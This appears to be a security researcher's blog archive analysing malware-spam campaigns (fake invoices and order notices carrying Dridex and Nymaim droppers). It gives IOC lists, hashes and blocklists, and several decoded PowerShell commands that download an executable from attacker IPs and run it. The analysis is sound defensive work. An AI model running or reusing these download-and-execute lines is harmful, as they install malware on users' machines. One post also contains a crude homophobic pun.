Sponsored by..

Showing posts with label Japan. Show all posts
Showing posts with label Japan. Show all posts

Tuesday, 15 December 2015

Malware spam: "Invoice Attached" / "Accounting Specialist| Bank of America, N.A., Cabot Oil & Gas Corp."

This fake financial spam has a malicious attachment:

From:    Ernestine Harvey
Date:    15 December 2015 at 11:34
Subject:    Invoice Attached

Good morning,

Please see the attached invoice and remit payment according to the terms listed at the bottom of the invoice. If you have any questions please let us know.

Thank you!

Mr. Ernestine Harvey
Accounting Specialist| Bank of America, N.A., Cabot Oil & Gas Corp.
The sender name varies randomly, except in the email they are all signed "Mr." even if they have female names, for example:

Mr. Colleen Sheppard
Mr. Joel Small
Mr. Esther Gates
Mr. Devin Joyce
Mr. Todd Robertson

The attachments are named in the format invoice_12345678_scan.doc - the filenames are randomly-generated and indeed every attachment seems to be unique. Typical VirusTotal detection rates are around 3/54, and the macro looks something like this.

An analysis of five of the attachments [1] [2] [3] [4] [5] shows attempted downloads from:

modern7technologiesx0.tk/x1656/dfiubgh5.exe
forbiddentextmate58.tk/x1656/ctruiovy.exe
temporary777winner777.tk/x1656/fdgbh44b.exe
former12futuristik888.tk/x1656/fdgjbhis75.exe


Note that these are all .TK domains.. and they are all hosted on exactly the same server of 31.184.234.5 (GTO Ltd, Montenegro). A look at VirusTotal's report for that IP gives another malicious domain of:

servicexmonitoring899.tk

I would suggest that the entire 31.184.234.0/24 range looks pretty questionable.

Anyway, the downloaded binary has a VirusTotal detection rate of 4/55 and the comments indicate that rather surprisingly this is the Nymaim ransomware. The Hybrid Analysis indicates network traffic to xnkhfbc.in on 200.195.138.156 (Szabo & Buhnemann, Brazil). But in fact that domain seems to move around a lot and has recently been seen on the following IPs:

41.224.12.178 (Orange Tunisie Internet, Tunisia)
51.255.59.248 (OVH, France)
78.107.46.8 (Corbina Telecom, Russia)
95.173.163.211 (Netinternet, Turkey)
118.102.239.53 (Dishnet, India)
140.116.161.33 (TANET, Taiwan)
185.114.22.214 (Osbil Technology Ltd., Turkey)
192.200.220.42 (Global Frag Networks, US)
200.195.138.156 (Szabo & Buhnemann Ltda, Brazil)
210.150.126.225 (HOSTING-NET, Japan)


There are a bunch of bad domains associated with this malware but the only other one that seems to be active is oxrdmfdis.in.

MD5s:
4CADF61E96C2D62292320C556FD34FE6
BBAAAB1245D7EDD40EE501233162110E
6B6C7430D33FE16FAE94162D61AF35DD
79A10791B1690A22AB4D098B9725C5E0
D148440E07434E4823524A03DE3EB12F
79A10791B1690A22AB4D098B9725C5E0
B41205F6AEEEB1AA1FD8E0DCBDDF270E



Recommended blocklist:
31.184.234.5
41.224.12.178
51.255.59.248
78.107.46.8
95.173.163.211
118.102.239.53
140.116.161.33
185.114.22.214
192.200.220.42
200.195.138.156
210.150.126.225
xnkhfbc.in
oxrdmfdis.in


UPDATE

A source tells me (thank you) that  servicexmonitoring899.tk  is now resolving to 78.129.252.19 (iomart, UK) that has also recently hosted these following domains:

google-apsm.in
specre.com
ganduxerdesign.com
www.ganduxerdesign.com
upmisterfliremsnk.net
tornishineynarkkek.org
tornishineynarkkek2.org

Some of these domains are associated with Rovnix.

Wednesday, 1 April 2015

Malware spam "Unpaid Invoice [09876] attached" / "This is your Remittance Advice [ID:12345]" with VBS-in-ZIP attachment

This rather terse spam has no body text and comes from random senders. It has a ZIP attachment which contains a malicious script.

Example subjects include:
Unpaid Invoice [09323] attached
Unpaid Invoice [86633] attached
Unpaid Invoice [35893] attached
This is your Remittance Advice [ID:42667]
This is your Remittance Advice [ID:69951]

Example senders:
SAROSSA PLC
32RED
NOIDA TOLL BRIDGE CO

Example attachment names:
RC422QNSB.zip
ML82034PMRY.zip
MK843NCAK.zip
OI8244LPNH.zip
ZW1760EHOG.zip
MANX FINANCIAL GROUP PLC
RARE EARTH MINERALS PLC

Inside is a malicious VBS script. It is likely that there are several different versions, the one working sample I saw looked like this [pastebin] which is very similar to the VBA macro used in this spam run yesterday.

When run (I don't recommend this!) it executes the following command:
cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.202/sqwere/casma.gif','%TEMP%\giuguiGIUGdsuf87t6F.cab'); expand %TEMP%\giuguiGIUGdsuf87t6F.cab %TEMP%\giuguiGIUGdsuf87t6F.exe; Start-Process %TEMP%\giuguiGIUGdsuf87t6F.exe;
Because there are probably several different versions of this script, there are probably several different download locations. In this case, a fake .GIF file is downloaded from a malware server at 193.26.217.202 (Servachok Ltd, Russia) which is actually an .EXE file, but it gets saved as a .CAB file. For no very good reason it is passed through EXPAND which does nothing but save it to %TEMP%\giuguiGIUGdsuf87t6F.exe.

This binary has a detection rate of 4/55. Automated analysis tools [1] [2] [3] [4] show that the malware attempts to phone home to:

188.120.225.17 (TheFirst-RU, Russia)
121.50.43.175 (Tsukaeru.net, Japan)
82.151.131.129 (DorukNet, Turkey)
92.63.88.83 (MWTV, Latvia)
95.163.121.33 (Digital Networks aka DINETHOSTING, Russia)
199.201.121.169 (Synaptica, Canada)
188.226.129.49 (Digital Ocean, Netherlands)
192.64.11.232 (Synaptica, Canada)
77.74.103.150 (iway AG GS, Switzerland)
1.164.114.195 (Data Communication Business Group, Taiwan)
5.135.28.104 (OVH / Simpace.com, UK)
46.19.143.151 (Private Layer Inc, Switzerland)

It also drops another variant of the same downloader, edg1.exe with a detection rate of 3/56 and a Dridex DLL with a detection rate of 9/56.

Recommended blocklist:
188.120.225.17
121.50.43.175
82.151.131.129
92.63.88.0/24
95.163.121.0/24
199.201.121.169
188.226.129.49
192.64.11.232
77.74.103.150
1.164.114.195
5.135.28.104/29
46.19.143.151

Wednesday, 25 March 2015

Malware spam: "Invoice ID:12ab34" / "123"

This terse spam has a malicious attachment:
From:    Gerry Carpenter
Date:    25 March 2015 at 12:58
Subject:    Invoice ID:34bf33

123
There is an Excel attachment with the same semi-random reference number as the subject (in the sample I saw it was 34bf33.xls) which currently has zero detections. Unlike most recent document-based attacks, this does not contain a macro, but instead has an embedded OLE object that will run a VBscript if clicked, the spreadsheet itself is designed to get the victim to click-and-run that object.


Automated analysis doesn't show very much, but it does show the screenshots [1] [2]. I haven't been able to extract the VBscript in a neat enough format, but what did interest me is this novel obfuscation [pastebin] which actually just executes this:

cmd /K powershell.exe -ExecutionPolicy bypass -noprofile  -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile('http://193.26.217.221/zxr/ssidin.exe','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; Start-Process %TEMP%\JIOiodfhioIH.exe;
Despite all the mucking about with expanding a CAB file, the downloaded file is actually an EXE file all along so nothing is done to it. This file has a detection rate of 7/56, and the Payload Security report shows it communicating with the following IPs:

92.63.88.83 (MWTV, Latvia)
82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)


The payload is most likely Dridex.

Recommended blocklist:
92.63.88.0/24
82.151.131.129
121.50.43.175


MD5s:
ce130212d67070459bb519d67c06a291
461689d449c7b5a905c8404d3a464088

Thursday, 19 February 2015

Malware spam: "State Department" / "Order state T/N:" with a hidden message

These spam emails claim both to be from the "State Department" and somebody else at the same time, so I guess they must have been sent by the intern at Dridex HQ. And also they have a hidden message, apparently aimed at me..

From:    Hollie Wyatt , State Department
Date:    19 February 2015 at 12:13
Subject:    Order state T/N:XZ3543_327

Your order is ready for collection at your chosen store.View full order details T/N:XZ3543_327 in attached document.

Thanks!
Hollie Wyatt .
PRAETORIAN RESOURCES LTD

----------

From:    Jodi Russell , State Department
Date:    19 February 2015 at 12:16
Subject:    Order state T/N:HD6061_902

Your order is ready for collection at your chosen store.View full order details T/N:HD6061_902 in attached document.

Thanks!
Jodi Russell .
BARON OIL PLC

----------

From:    Nathanial Mckinney , State Department
Date:    19 February 2015 at 13:26
Subject:    Order state T/N:UH0141_809

Your order is ready for collection at your chosen store.View full order details T/N:UH0141_809 in attached document.

Thanks!
Nathanial Mckinney .
SIRIUS MINERALS PLC
Attached is a ZIP file that largely matches the reference number in the email, and inside that is a malicious spreadsheet called Order.xls which contains this macro.

In there is the usual combination of an encrypted string and decryption routine. Feed one into the other and you get..
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://85.143.166.123/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;
But wait.. what's this?
http://85.143.166.123/ssdynamooss/sspidarss.cab
"Пидар" is not in my limited Russian vocabulary, but it seems to translate as a tradition type of meatball in gravy.

Faggots with more sauce!  Hooray

Incidentally, 85.143.166.123 is a Pirix IP in Russia, and I have also seen malicious activity on the following Pirix IPs:

85.143.166.123
85.143.166.72
85.143.166.132

37.139.47.167
37.139.47.103
37.139.47.117
37.139.47.105

So I think I'm going to recommend blocking a couple of Pirix /24s at the end.

Anyway.

The macro downloads a file from http://85.143.166.123/ssdynamooss/sspidarss.cab which it saves as %TEMP%\FgdgFFFgfgF.cab and it then attempts to EXPAND it to %TEMP%\FgdgFFFgfgF.exe which doesn't quite work as expected, because the .CAB file is already an .EXE file. Must the the intern again. Anyway, EXPAND simply copies the file from CAB to EXE so it still works.

This executable has a VirusTotal detection rate of 8/57. Automated analysis tools [1] [2] plus some private sources indicate that this malware calls out to some familiar IPs:

82.151.131.129 (DorukNet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

According to the Malwr report,  it drops the same Dridex DLL that has been doing the rounds all day, with a VirusTotal detection rate of 8/57.

Update:
A second spam run is happening, with various senders and subjects, for example:
Byron Pittman , Bill Department
Freda Kelly , Bill Department
Leroy Gallegos , Bill Department
Terrence Reyes , Bill Department
Tyson Miller , Bill Department
Marlene Morales , Bill Department
Royal Byrd , Bill Department
Larry Kramer , Bill Department
Jenna Sparks , Bill Department
Debra Thomas , Bill Department

LE8427_395.zip attached   
MM4565_687.zip attached
SL7772_820.zip attached
MF9529_495.zip attached
DH0645_249.zip attached
ED9340_241.zip attached
HJ7305_966.zip attached
UA0899_018.zip attached
HO2362_958.zip attached
JL3695_098.zip attached
There are three different ZIP files, containing either Order.xls, Confirmation.xls or order_tatus.xls (sic). The macro is similar to the one above, but has a couple of other download locations.
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://134.19.180.44/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://185.48.56.137/ssdynamooss/sspidarss.cab','%TEMP%\FgdgFFFgfgF.cab'); expand %TEMP%\FgdgFFFgfgF.cab %TEMP%\FgdgFFFgfgF.exe; start %TEMP%\FgdgFFFgfgF.exe;

These are:

134.19.180.44 (Global Layer, NL)
185.48.56.137 (Sinarohost, NL)

Payload is the same as before.


Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
85.143.166.0/24
37.139.47.0/24
134.19.180.44
185.48.56.137

Wednesday, 18 February 2015

Multiple spam emails using malicious XLS or XLSM attachment

I'm seeing multiple spam runs (probably pushing the Dridex banking trojan) with no body text, various subjects and either an XLS or XLSM attachment.

Example subjects include:
Copy [ID:15E376774] attaced
RE: Requests documentation [458C28133]
Request error [C3843]
Request error [FDF396530]
Requests documentation [242B035667]


Attachments look something similar to this:
15E376774.xlsm
242B035667.xlsm
458C28133.xls
C3843.xls
FDF396530.xlsm

The XLS and XLSM files are different structurally.. the XLSM files are basically an Office 2007 ZIP archive of all the data components, the XLS files are an old school Office 2003 file. Nevertheless, they contain a macro with 23 components to make it harder to analyse, although the important modules are Module 11 which contains the text string to decrypt, and Module 14 which contains the decryption function itself. Almost everything else is irrelevant.

Once the string is decrypted, it becomes fairly obvious what it going on. So far, there appear to be four strings with different download locations:
cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.30.42.151/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://176.31.28.235/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.63/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
So, we can see a file dxzq.jpg being downloaded which is actually a CAB file (JIOiodfhioIH.cab) which is then expanded to JIOiodfhioIH.exe and then run.

For information, these IPs are hosted by:

5.196.243.7 (OVH, Ireland)
46.30.42.151 (Eurobtye LLC, Russia)
176.31.28.235 (OVH, France)
92.63.88.63 (MWTV, Latvia)

This executable has a detection rate of 4/56. Automated analysis [1] [2] [3] shows attempted network connections to:

82.151.131.129 (Doruknet, Turkey)
121.50.43.175 (Tsukaeru.net, Japan)
74.208.68.243 (1&1, US)

The Malwr report shows that it also drops a DLL with a detection rate of just 1/56.

Recommended blocklist:
82.151.131.129
121.50.43.175
74.208.68.243
5.196.243.7
46.30.42.151
176.31.28.235
92.63.88.63

For research purposes, a copy of the files analysed and dropped can be found here, password is infected

Friday, 18 October 2013

Malware sites to block 18/10/2013

These IPs and domains are associated with this spam run. Some of these servers have been compromised for some time by the looks of things. There's a plain list for copy-and-pasting at the end.

12.46.52.147 (Compact Information Systems / AT&T, US)
41.203.18.120 (Hetzner, South Africa)
62.75.246.191 (Intergenia, Germany)
62.76.42.58 (Clodo-Cloud / IT House, Russia)
69.46.253.241 (RapidDSL & Wireless, US)
70.159.17.146 (F G Wilson / AT&T , US)
91.205.17.80 (TOV Adamant-Bild, Ukraine)
94.102.14.239 (Netinternet , Turkey)
111.68.229.205 (NTT Communications, Japan)
114.32.54.164 (Chunghwa Telecom, Taiwan)
118.163.216.107 (Chunghwa Telecom, Taiwan)
140.174.98.150 (NTT America, US)
163.18.62.51 (TANET, Taiwan)
182.237.17.180 (Uclix, India)
201.151.0.164 (Alestra, Mexico)
202.6.120.103 (TSKL, Kiribati)
203.80.16.81 (MYREN, Malaysia)
203.114.112.156 (PhetchaboonHospital, Thailand)
210.56.23.100 (Commission For Science And Technology, Pakistan)
210.166.209.15 (Prox Communicator, Japan)
212.154.192.122 (Hoster.KZ, Kazakhstan)
213.5.182.144 (RackSRV Communications, UK)
213.143.121.133 (Wien Energie, Austria)
213.214.74.5 (BBC Cable, Bulgaria)

12.46.52.147
41.203.18.120
62.75.246.191
62.76.42.58
69.46.253.241
70.159.17.146
91.205.17.80
94.102.14.239
111.68.229.205
114.32.54.164
118.163.216.107
140.174.98.150
163.18.62.51
182.237.17.180
201.151.0.164
202.6.120.103
203.80.16.81
203.114.112.156
210.56.23.100
210.166.209.15
212.154.192.122
213.5.182.144
213.143.121.133
213.214.74.5
alenikaofsa.ru
alionadorip.ru
dynamooblog.ru
inkrediblehalk.ru
intro2seo.ru

Added:
hankoksuper.ru is now active on those same IPs.

Tuesday, 24 September 2013

Malware sites to block 24/9/2013

The malicious IPs and domains on this list are operated by this gang, and it replaces the list last week.

5.135.42.104 (OVH, Netherlands)
24.111.103.183 (Midcontinent Media, US)
24.173.170.230 (Time Warner Cable, US)
32.64.143.79 (AT&T, US)
37.153.192.72 (Routit BV, Netherlands)
37.221.163.174 (Voxility SRL, Romania)
42.121.84.12 (Aliyun Computing Co, China)
46.32.47.24 (Syd Energi, Denmark)
46.246.111.159 (Portlane Networks, Sweden)
58.68.228.148 (Beijing Blue I.T Technologies Co., China)
58.246.240.122 (China Unicom, China)
61.36.178.236 (LG DACOM, Korea)
62.141.46.8 (fast IT, Germany)
69.94.163.22 (Region 18 Education Service Center, US)
69.163.40.39 (DirectSpace LLC, US)
77.123.54.28 (Kyivski Telekomunikatsiyni Merezhi LLC, Ukraine)
79.190.173.125 (TPNET, Poland)
81.28.199.18 (KNET, France)
84.52.66.244 (West Call Ltd, Russia)
85.246.142.214 (PT Comunicacoes, Portugal)
91.220.77.83 (NTH Media, Switzerland)
95.111.32.249 (Megalan / Mobiltel EAD, Bulgaria)
103.20.166.67 (PT. Visikom Indo Sentratama, Indonesia)
109.71.136.140 (OpWan, France)
123.183.210.42 (China Telecom, China)
125.20.14.222 (Price Water House Cooperation, India)
153.127.243.80 (Kagoya Japan Corporation, Japan)
163.32.78.2 (TANET, Taiwan)
174.142.186.89 (iWeb, Canada)
184.82.233.29 (Network Operations Center, US)
186.3.101.235 (Clientes Quito, Ecuador)
186.251.180.205 (Infotech Informatica e Assistencia Tecnica Ltda, Brazil)
187.60.172.18 (Linhares Serviços Online LTDA, Brazil)
194.44.93.219 (UARNet, Ukraine)
194.158.4.42 (Interoute Communications, France)
198.71.90.239 (Enzu Inc, US)
199.175.49.118 (VPS Cheap, US)
208.52.185.178 (BroadRiver Communication Corp, US)
208.115.114.69 (Wowrack, US)
211.71.99.66 (Beijing Institute of Clothing Technology, China)
216.218.208.55 (Hurricane Electric, US)
223.30.27.251 (Sify Limited, India)
220.68.231.30 (Hansei University, Korea)

5.135.42.104
24.111.103.183
24.173.170.230
32.64.143.79
37.153.192.72
37.221.163.174
42.121.84.12
46.32.47.24
46.246.111.159
58.68.228.148
58.246.240.122
61.36.178.236
62.141.46.8
69.94.163.22
69.163.40.39
77.123.54.28
79.190.173.125
81.28.199.18
84.52.66.244
85.246.142.214
91.220.77.83
95.111.32.249
103.20.166.67
109.71.136.140
123.183.210.42
125.20.14.222
153.127.243.80
163.32.78.2
174.142.186.89
184.82.233.29
186.3.101.235
186.251.180.205
187.60.172.18
194.44.93.219
194.158.4.42
198.71.90.239
199.175.49.118
208.52.185.178
208.115.114.69
211.71.99.66
216.218.208.55
223.30.27.251
220.68.231.30
24kstudio.net
achrezervations.com
acomboramboarmiab722.net
aconsturcioneoftherive677.net
acormushkivsenamizv992.net
airfare-ticketscheap.com
aristonmontecarlo.net
bnamecorni.com
bundle.su
cernanrigndnisne55.net
cerovskiprijatnomnebi25.net
certerianshndieony24.net
consistingsec.net
cremenatthemomenter56.net
crovvirnskieertater55.net
crovviyyyyyyuutater90.net
curse.su
deepsealinks.com
demuronline.net
diggingentert.com
dropdistri-butions.net
dulethcentury.net
ehtiebanishkeobprienrt25.net
ejanormalteene250.com
ejanormatoone240.com
elvisalive4ever.com
euteus.com
evreisorinejsopgmrjnet28.net
excelledblast.net
exeteenofthemid74.com
explorerlikem.com
fdic.gov.horse-mails.net
gigiandrose-sf.net
gjoonalitikeer310.com
gjoonanalitik300.com
glums.net
goodnoontoon11.net
gormonigraetnapovalahule26.net
grannyhair.ru
gromovierashodyna73.net
hdmltextvoice.net
higherpricedan.com
horse-mails.net
hotsuperfilms.com
infomashe.com
instotsvin.ru
isightbiowares.su
joyrideengend.net
kolopeto.net
lights-awake.net
loreddiverting.su
macache.net
maxichip.com
micnetwork100.com
mobile-unlocked.net
mssoft.in.net
multiachprocessor.com
myaxioms.com
nacha.org.smscente.net
nacha-ach-processor.com
namastelearning.net
nvufvwieg.com
oadims.net
ollerblogging.net
ordersdeluxe.com
outcastii.com
oversearadios.net
pardus-wiki.com
picturesoftdeath.com
pidrillospeeder.com
powerranger-toys.net
priceless.su
printingupplies.com
pure-botanical.net
smartsecureconnect.com
smscente.net
softwareup.pw
spottingculde.com
stjamesang.net
techno-arena.net
thefastor.com
timelessmusicstore.com
tonalfreeworld.net
tor-connect-secure.com
treesmustdownload.su
u-janusa.net
uprisingquicks.net
video-withtext.com
vip-proxy-to-tor.com
virginiarealtyonline.net
whosedigitize.net
wow-included.com
www.ejanormalteene250.com
www.fdic.gov.horse-mails.net
www.gjoonalitikeer310.com
www.nacha.org.demuronline.net
www.nacha.org.smscente.net